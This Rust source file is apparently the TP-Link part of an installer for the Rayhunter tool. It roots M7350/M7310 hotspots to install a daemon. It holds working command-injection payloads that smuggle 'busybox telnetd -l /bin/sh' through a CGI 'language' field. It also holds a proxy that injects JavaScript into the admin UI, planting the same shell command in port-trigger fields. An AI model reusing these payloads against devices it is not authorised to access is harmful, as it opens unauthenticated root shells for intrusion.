use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;

use anyhow::{Context, Error};
use axum::{
    Router,
    body::{Body, to_bytes},
    extract::{Request, State},
    http::uri::Uri,
    response::{IntoResponse, Response},
    routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::time::sleep;

use crate::InstallTpLink;
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
use crate::output::println;
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};

type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;

pub async fn main_tplink(
    InstallTpLink {
        skip_sdcard,
        admin_ip,
        sdcard_path,
        reset_config,
        data_dir,
    }: InstallTpLink,
) -> Result<(), Error> {
    let is_v3 = start_telnet(&admin_ip).await?;
    tplink_run_install(
        skip_sdcard,
        admin_ip,
        sdcard_path,
        is_v3,
        reset_config,
        data_dir,
    )
    .await
}

#[derive(Deserialize)]
struct V3RootResponse {
    result: u64,
}

pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
    let client = reqwest::Client::new();
    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

    println!("Launching telnet on the device");

    for endpoint in [
        // TP-Link M7350 v3
        // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
        // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
        format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
        // TP-Link M7310 v1
        // (adaptation of M7350 exploit)
        format!("http://{admin_ip}/cgi-bin/web_cgi"),
    ] {
        let response = client.post(&endpoint)
            .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
            .send()
            .await?;

        if response.status() == 404 {
            continue;
        }

        let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
            // On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
            continue;
        };

        if result != 0 {
            anyhow::bail!("Bad result code when trying to root device: {result}");
        }

        // resetting the language is important because otherwise the tplink's admin interface is
        // unusuable.
        let V3RootResponse { result } = client
            .post(&endpoint)
            .body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
            .send()
            .await?
            .error_for_status()?
            .json()
            .await?;

        if result != 0 {
            anyhow::bail!("Bad result code when trying to reset the language: {result}");
        }

        // Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
        sleep(Duration::from_millis(1000)).await;
        if telnet_send_command(addr, "true", "exit code 0", true)
            .await
            .is_err()
        {
            continue;
        }

        println!("Detected hardware revision v3, successfully opened telnet");
        return Ok(true);
    }

    println!("This doesn't look like a v3 device, trying web-based exploit");
    tplink_launch_telnet_v5(admin_ip).await?;

    Ok(false)
}

async fn tplink_run_install(
    skip_sdcard: bool,
    admin_ip: String,
    mut sdcard_path: String,
    is_v3: bool,
    reset_config: bool,
    cli_data_dir: Option<String>,
) -> Result<(), Error> {
    println!("Connecting via telnet to {admin_ip}");
    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

    let data_dir = if let Some(dir) = cli_data_dir {
        dir
    } else if skip_sdcard {
        "/cache/rayhunter-data".to_owned()
    } else {
        if sdcard_path.is_empty() {
            let try_paths = [
                // TP-Link hardware less than v9.0
                "/media/card",
                // TP-Link hardware v9.0
                "/media/sdcard",
            ];
            for path in try_paths {
                if telnet_send_command(addr, &format!("ls {path}"), "exit code 0", true)
                    .await
                    .is_ok()
                {
                    sdcard_path = path.to_owned();
                    break;
                }
            }

            if sdcard_path.is_empty() {
                // This error message is shown when the installer cannot figure out where this
                // device _would_ mount an SD card, regardless of whether the user did insert one.
                // If we get here, it's likely the installer was never tested for this hardware
                // version.
                anyhow::bail!(
                    "Unable to determine sdcard path. This is a bug. Please file an issue with your hardware version.\n\n\
                    The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
                    ...but none of them exist.\n\n\
                    At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
                );
            }
        }

        println!("Mounting sdcard on {sdcard_path}");
        if telnet_send_command(
            addr,
            &format!("mount | grep -q {sdcard_path}"),
            "exit code 0",
            true,
        )
        .await
        .is_err()
        {
            // Try to mount the SD card, and if that fails we assume the user didn't insert one.
            telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few hours. Insert one and rerun this installer, or pass --skip-sdcard")?;
        } else {
            println!("sdcard already mounted");
        }

        sdcard_path
    };

    let mut conn = TelnetConnection::new(addr, true);
    setup_data_directory(&mut conn, &data_dir).await?;

    install_config(&mut conn, "tplink", reset_config).await?;

    let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");

    telnet_send_file(
        addr,
        "/data/rayhunter/rayhunter-daemon",
        rayhunter_daemon_bin,
        true,
    )
    .await?;

    let init_script = get_rayhunter_daemon(if skip_sdcard { None } else { Some(&data_dir) });

    telnet_send_file(
        addr,
        "/etc/init.d/rayhunter_daemon",
        init_script.as_bytes(),
        true,
    )
    .await?;

    telnet_send_command(
        addr,
        "chmod ugo+x /data/rayhunter/rayhunter-daemon",
        "exit code 0",
        true,
    )
    .await?;
    telnet_send_command(
        addr,
        "chmod 755 /etc/init.d/rayhunter_daemon",
        "exit code 0",
        true,
    )
    .await?;

    // if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
    // startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
    // is unreliable on other hardware revisions too.
    if is_v3 {
        telnet_send_command(
            addr,
            "update-rc.d rayhunter_daemon defaults",
            "exit code 0",
            true,
        )
        .await?;
    }

    println!(
        "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
    );

    telnet_send_command(addr, "reboot", "exit code 0", true).await?;

    Ok(())
}

#[derive(Clone)]
struct AppState {
    client: HttpProxyClient,
    admin_ip: String,
}

async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
    let path = req.uri().path();
    let path_query = req
        .uri()
        .path_and_query()
        .map(|v| v.as_str())
        .unwrap_or(path);

    let uri = format!("http://{}{}", state.admin_ip, path_query);

    // on version 5.2, this path is /settings.min.js
    // on other versions, this path is /js/settings.min.js
    let is_settings_js = path.ends_with("/settings.min.js");

    if is_settings_js {
        // It can happen that new versions of the admin JS do not take effect because of caching
        // headers. This is a problem when trying multiple versions of the installer. Delete all
        // caching headers and hope the server never erroneously returns a 304 that way.
        req.headers_mut().remove("If-Modified-Since");
        req.headers_mut().remove("If-None-Match");
    }

    *req.uri_mut() = Uri::try_from(uri).unwrap();

    let mut response = state
        .client
        .request(req)
        .await
        .map_err(|_| StatusCode::BAD_REQUEST)?
        .into_response();

    if is_settings_js {
        let (parts, body) = response.into_parts();
        let data = to_bytes(body, usize::MAX)
            .await
            .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
        let mut data = BytesMut::from(data);
        // inject some javascript into the admin UI to get us a telnet shell.
        data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
        console.log("rayhunter: start polling");

        var rayhunterSleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));

        var rayhunterPoll = window.setInterval(async () => {
            Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 1, openPort: "2401", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start &)", triggerProtocol: "TCP"});
            console.log("rayhunter: first request succeeded, stopping rayhunter poll loop");
            window.clearInterval(rayhunterPoll);

            // PTModel.add actually does not wait for the request to finsh.
            // Wait 1 second for the request to finish.
            // Running both requests concurrently can get one of the two requests rejected, as
            // sending a request with entryId: 2 is invalid if entryId 1 does not exist (yet)
            // This only happens starting with firmware M7350(EU)_V9_9.0.2 Build 241021, earlier
            // versions are not affected.
            await rayhunterSleep(1000);

            console.log("rayhunter: running second request");
            Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 2, openPort: "2402", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh &)", triggerProtocol: "TCP"});

            // Do not use alert(), instead replace page with success message. Using alert() will
            // block the event loop in such a way that any background promises are blocked from
            // progress too. For example: The HTTP requests to register our port triggers!
            document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
        }, 1000);
        });"#);
        response = Response::from_parts(parts, Body::from(Bytes::from(data)));
        response.headers_mut().remove("Content-Length");
    }

    Ok(response)
}

async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

    if telnet_send_command(addr, "true", "exit code 0", true)
        .await
        .is_ok()
    {
        println!("telnet already appears to be running");
        return Ok(());
    }

    let client: HttpProxyClient =
        hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
            .build(HttpConnector::new());

    let app = Router::new()
        .route("/", any(handler))
        .route("/{*path}", any(handler))
        .with_state(AppState {
            client,
            admin_ip: admin_ip.to_owned(),
        });

    let bind_addr = "127.0.0.1:4000";
    let listener = tokio::net::TcpListener::bind(bind_addr)
        .await
        .with_context(|| format!(
            "Failed to bind to {bind_addr}. Is another process using this port?\n\
             Try closing any application that might be listening on port 4000 and rerun the installer."
        ))?;

    println!("Listening on http://{}", listener.local_addr().unwrap());
    println!("Please open above URL in your browser and log into the router to continue.");

    let handle = tokio::spawn(async move { axum::serve(listener, app).await });

    while telnet_send_command(addr, "true", "exit code 0", true)
        .await
        .is_err()
    {
        sleep(Duration::from_millis(1000)).await;
    }

    // give the JavaScript code some additional time to run and persist the port triggers.
    sleep(Duration::from_millis(1000)).await;

    handle.abort();

    Ok(())
}

fn get_rayhunter_daemon(sdcard_path: Option<&str>) -> String {
    // Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
    // changing the order in which daemons are started up seems to not work reliably.
    //
    // This part of the daemon dynamically generated because we may have to eventually add logic
    // specific to a particular hardware revision here.
    let prestart = match sdcard_path {
        Some(path) => {
            format!("(mount /dev/mmcblk0p1 {path} || true) 2>&1 | tee /tmp/rayhunter-mount.log")
        }
        None => String::new(),
    };
    crate::RAYHUNTER_DAEMON_INIT.replace("#RAYHUNTER-PRESTART", &prestart)
}

/// Root the TP-Link device and open an interactive shell
pub async fn shell(admin_ip: &str) -> Result<(), Error> {
    start_telnet(admin_ip).await?;
    interactive_shell(admin_ip, 23, true).await
}

#[test]
fn test_get_rayhunter_daemon() {
    let s = get_rayhunter_daemon(Some("/media/card"));
    assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));

    let s = get_rayhunter_daemon(None);
    assert!(!s.contains("mmcblk0p1"));
    assert!(!s.contains("#RAYHUNTER-PRESTART"));
}
